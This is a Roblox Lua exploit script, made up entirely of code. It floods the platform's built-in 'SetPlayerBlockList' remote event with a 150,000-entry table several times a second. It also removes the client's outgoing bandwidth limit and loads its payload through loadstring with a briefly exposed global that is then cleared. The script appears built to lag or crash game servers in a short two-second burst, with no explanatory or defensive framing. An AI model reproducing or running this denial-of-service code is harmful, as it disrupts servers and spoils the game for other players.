local Players=game:GetService("Players") local RunService=game:GetService("RunService") local SRC=[==[local RunService=game:GetService("RunService") local Children=150000 local NestedPerChild=0 local FieldsPerChild=0 local FireBurst=1 local FrameDelay=0.125 local FieldSize=0 local RebuildEach=false local state={running=false,thread=nil,remote=nil,cache=nil,pad="",} local function resolve() local rrs=game:FindFirstChild("RobloxReplicatedStorage") if not rrs then return nil end local r=rrs:FindFirstChild("SetPlayerBlockList") if r and(r:IsA("RemoteEvent")or r:IsA("UnreliableRemoteEvent"))then return r end return nil end state.remote=resolve() pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge) end) state.pad=FieldSize>0 and string.rep("P",FieldSize)or"" local function build() local root=table.create(Children) for i=1,Children do local entry={id=i,v=i*2} for k=1,FieldsPerChild do entry["k"..k]=(FieldSize>0)and state.pad or(i+k) end for j=1,NestedPerChild do entry["n"..j]={a=i,b=j} end root[i]=entry end return root end local function fire() if not state.remote then state.remote=resolve() if not state.remote then return end end local payload if RebuildEach or not state.cache then payload=build() if not RebuildEach then state.cache=payload end else payload=state.cache end for _=1,FireBurst do state.remote:FireServer(payload) end end local function start() if state.running then return end state.running=true state.cache=nil state.thread=task.spawn(function() while state.running do pcall(fire) if FrameDelay>0 then task.wait(FrameDelay) else RunService.Heartbeat:Wait() end end end) end local function stop() state.running=false if state.thread then pcall(task.cancel,state.thread)end state.thread=nil state.cache=nil end return{start=start,stop=stop,toggle=function()if state.running then stop()else start()end end,isRunning=function()return state.running end,}]==] local loader=coroutine.create(function() local chunk=loadstring(SRC) if not chunk then return end local ok,api=pcall(chunk) if ok and type(api)=="table" then _G.__ALT=api end end) coroutine.resume(loader) loader=nil local api=_G.__ALT _G.__ALT=nil task.spawn(function() if api and api.start then pcall(api.start) end task.wait(2) if api and api.stop then pcall(api.stop) end end)